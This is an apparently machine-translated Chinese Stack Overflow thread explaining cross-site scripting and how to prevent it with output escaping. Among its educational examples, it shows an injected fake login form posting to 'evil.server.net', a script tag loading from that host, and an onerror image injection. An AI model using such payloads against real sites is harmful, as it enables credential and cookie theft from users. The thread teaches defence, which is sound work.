XSS背后的一般概念是什么?

bkb*_*kbk 18 xss spam-prevention

跨站点脚本(XSS)是Web应用程序中常见的一种计算机安全漏洞,它使恶意攻击者能够将客户端脚本注入其他用户查看的网页中.攻击者可以使用利用漏洞利用的跨站点脚本漏洞来绕过访问控制,例如相同的源策略.截至2007年,赛门铁克在网站上执行的跨站点脚本大约占所有安全漏洞的80%.

好吧,这是否意味着黑客制作了一些恶意的JS/VBscript并在访问一个没有转换输入的合法网站时将其传递给毫无戒心的受害者?

我的意思是,我知道SQL注入是如何完成的....

我特别不明白JS/VBscript如何造成如此大的破坏!我认为它们只能在浏览器中运行,但显然损坏的范围从键盘记录到cookie窃取和特洛伊木马.

我对XSS的理解是否正确?如果没有,有人可以澄清吗?

如何防止XSS在我的网站上发生?这似乎很重要; 80%的安全漏洞意味着它是危害计算机的极为常见的方法.

Bal*_*usC 21

由于已经给出了关于XSS如何恶意的答案,我将仅在XSS上发布两个不错的flash介绍并回答以下未回答的问题:

如何防止XSS在我的网站上发生?

以下是关于XSS的两个不错的flash介绍:

至于防止XSS,当你要在页面上重新显示任何 用户控制的输入时,你需要HTML转义.这包括请求标头,请求参数以及将从数据库提供的任何存储的用户控制输入.特别是<,>,"'需要转义,因为它可以malform其中该输入被重新显示周围的HTML代码.

几乎任何视图技术都提供了内置的方法来转义HTML(或XML,这也是足够的)实体.

在PHP中,您可以使用htmlspecialchars().例如

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
Run Code Online (Sandbox Code Playgroud)

如果你还需要使用它来转义单引号,你需要提供ENT_QUOTES参数,也可以看到前面提到的PHP文档.

在JSP中,您可以使用JSTL <c:out>fn:escapeXml().例如

<input name="foo" value="<c:out value="${param.foo}" />">
Run Code Online (Sandbox Code Playgroud)

要么

<input name="foo" value="${fn:escapeXml(param.foo)}">
Run Code Online (Sandbox Code Playgroud)

请注意,在请求处理期间,您实际上不需要转义XSS,而只是在响应处理期间.在请求处理期间不需要转义,它可能迟早会使用户输入变形(并且作为网站管理员,您还想知道问题的用户实际输入了什么,以便您可以在必要时采取社交行动).关于SQL注入,只是在数据即将保留在数据库中时请求处理期间将其转义.

  • 哦通过flash文件提供安全信息的讽刺:) (5认同)

Mat*_*ggs 20

直接XSS

  1. 我发现谷歌有一个xss漏洞
  2. 我编写了一个脚本,重写了一个公共谷歌页面,看起来与实际的谷歌登录完全一样
  3. 我的虚假页面提交给第三方服务器,然后重定向回真实页面
  4. 我得到谷歌帐号密码,用户没有意识到发生了什么,谷歌不知道发生了什么

XSS作为CSRF的平台(据说这实际上发生了)

  1. 亚马逊有一个csrf漏洞,其中"始终保持登录状态"cookie允许您将条目标记为具有攻击性
  2. 我在高流量网站上发现了一个xss漏洞
  3. 我写了一个javascript,点击网址,标记由亚马逊的同性恋作者撰写的所有书籍作为攻击性
  4. 对亚马逊来说,他们通过真正的身份验证cookie从真实浏览器获得有效请求.所有的书都在一夜之间从网站上消失了
  5. 互联网吓坏了.

XSS作为会话固定攻击的平台

  1. 我发现一个电子商务网站在登录后没有重置会话(像任何asp.net网站一样),能够通过查询字符串或cookie传递会话ID,并在会话中存储身份验证信息(很常见) )
  2. 我在该网站的页面上发现了一个XSS漏洞
  3. 我编写了一个脚本,将会话ID设置为我控制的会话ID
  4. 有人点击该页面,并进入我的会话.
  5. 他们登录
  6. 我现在有能力做任何我想做的事情,包括用保存卡购买产品

这三个是重要的.XSS,CSRF和会话修复攻击的问题在于它们非常非常难以跟踪和修复,并且非常容易允许,特别是如果开发人员对它们了解不多.

  • 这是一个非常好的答案,我已经描述了攻击向量,但我认为您比我更好地概述了 XSS 攻击。 (2认同)

Rol*_*man 6

我不知道JS/VBscript如何造成如此大的破坏!

好.假设您有一个站点,并且该站点是由该站点提供的http://trusted.server.com/thesite.假设这个网站有一个搜索框,当你搜索网址变成:http://trusted.server.com/thesite?query=somesearchstring.

如果网站决定不处理搜索字符串并将其输出到结果中,例如"你搜索"somesearchstring"没有产生任何结果,那么任何人都可以向网站注入任意html.例如:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
Run Code Online (Sandbox Code Playgroud)

因此,在这种情况下,网站将在搜索结果页面上尽职尽责地显示虚假登录表单,如果用户提交,则会将数据发送到邪恶的不受信任的服务器.但是用户没有看到,尤其是 如果网址真的很长,他们只会看到第一个但是,并假设他们正在与trusted.server.com打交道.

对此的变化包括注入一个<script>标签,该标签将事件处理程序添加到文档以跟踪用户的操作,或将文档cookie发送到恶意服务器.这样您就可以进入登录,密码或信用卡数据等敏感数据.或者您可以尝试插入一个<iframe>占用整个客户端窗口的特殊样式,并提供一个看起来像原始但实际上源自evil.server.com的站点.只要用户被欺骗使用注入的内容而不是原始内容,安全性就会被破坏.

这种类型的XSS称为反射和非持久性.反思因为url直接在响应中被"重新选择",而非持久性因为实际站点没有被更改 - 它只是用作传递.请注意,像https这样的东西在这里没有提供任何保护 - 网站本身被破坏,因为它通过查询字符串鹦鹉参与用户输入.

现在的诀窍是让毫无戒心的用户信任你给他们的任何链接.例如,您可以向他们发送HTML电子邮件,并包含一个吸引人的链接,指向伪造的网址.或者你也许可以在维基,论坛等上传播它.我相信你可以欣赏它真的很容易 - 它只是一个链接,什么可能出错,对吧?

有时可能会更糟.有些网站实际存储用户提供的内容.简单示例:对博客或论坛中的主题的评论.或者它可能更微妙:社交网络上的用户个人资料页面.如果这些页面允许任意html,尤其是 脚本,这个用户提供的html被存储和复制,然后每个只访问包含此内容的页面的人都有风险.这是持久的XSS.现在用户甚至不再需要点击链接了,只需访问即可.实际攻击再次包括通过脚本修改页面以捕获用户数据.

脚本注入可能是生硬的,例如,一个人可以插入一个完整的<script src="http://evil.server.net/script.js">或它可能是微妙的:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

至于如何保护自己:关键是永远不要输出用户输入.如果您的网站围绕用户提供的带有标记的内容,这可能会很困难.


Spe*_*nce 5

想象一个网络论坛.XSS攻击可能是我用一些javascript发帖.当您浏览到该页面时,您的网页将加载并运行js并执行我所说的内容.当您浏览页面并且很可能已登录时,我的javascript将执行您有权执行的任何操作,例如发帖,删除帖子,插入垃圾邮件,显示弹出窗口等.

因此,XSS的真正概念是脚本在您的用户上下文中执行,这是一种权限提升.您需要小心,在您的应用程序中接收用户输入的任何地方都会转义其中的任何脚本等,以确保无法完成XSS.

你必须注意二次攻击.想象一下,如果我将恶意脚本放入我的用户名中.这可能会在未经检查的情况下进入网站,然后未经检查而退回,但随后使用我的用户名查看的任何页面实际上都会在您的用户上下文中执行恶意脚本.

逃避用户输入.不要滚动代码来执行此操作.检查所有内容,以及所有内容.